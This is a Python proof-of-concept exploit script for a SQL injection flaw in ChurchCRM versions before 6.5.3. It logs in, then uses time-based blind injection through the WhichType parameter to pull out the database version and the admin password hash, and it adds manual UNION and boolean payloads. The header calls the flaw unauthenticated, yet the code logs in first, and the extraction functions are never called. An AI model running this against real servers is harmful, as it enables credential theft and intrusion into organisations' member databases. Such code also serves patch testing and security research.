import requests
import time
# CVE-2025-66395 ChurchCRM SQL Injection PoC
# Target: ChurchCRM < 6.5.3
# Vulnerability: Unauthenticated SQL injection via WhichType parameter in src/ListEvents.php
target_url = "http://target-server/churchrm/src/ListEvents.php"
login_url = "http://target-server/churchrm/src/Login.php"
# Step 1: Authenticate with valid credentials
session = requests.Session()
login_data = {
"UserBoxEntry": "
[email protected]",
"Password": "password123"
}
session.post(login_url, data=login_data)
# Step 2: Test basic SQL injection with time-based blind technique
def test_sql_injection(session, payload, expected_delay=5):
"""Test SQL injection with time-based blind technique"""
start_time = time.time()
data = {
"WhichType": payload,
"FilterName": "",
"Mode": "Past"
}
response = session.post(target_url, data=data, timeout=30)
elapsed = time.time() - start_time
return elapsed >= expected_delay
# Step 3: Extract database version using blind SQL injection
def extract_db_version(session):
"""Extract database version via time-based blind SQL injection"""
version = ""
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._-"
for pos in range(1, 50):
found = False
for char in charset:
payload = f"1 AND (SELECT CASE WHEN (SUBSTRING(@@version,{pos},1)='{char}') THEN SLEEP(3) ELSE 0 END)"
if test_sql_injection(session, payload, expected_delay=3):
version += char
found = True
print(f"[+] Position {pos}: {char}")
break
if not found:
break
return version
# Step 4: Extract admin credentials
def extract_admin_hash(session):
"""Extract admin password hash from user table"""
hash_value = ""
charset = "0123456789ABCDEFabcdef"
for pos in range(1, 65):
for char in charset:
payload = f"1 AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM user_perms WHERE id=1),{pos},1)='{char}') THEN SLEEP(3) ELSE 0 END)"
if test_sql_injection(session, payload, expected_delay=3):
hash_value += char
print(f"[*] Extracting hash position {pos}: {char}")
break
return hash_value
# Example payloads for manual testing:
# Time-based blind: WhichType=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
# Union-based: WhichType=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
# Boolean-based: WhichType=1 AND 1=1
print("[*] CVE-2025-66395 ChurchCRM SQL Injection PoC")
print("[*] Target: ChurchCRM < 6.5.3")
print("[*] Testing authenticated SQL injection via WhichType parameter")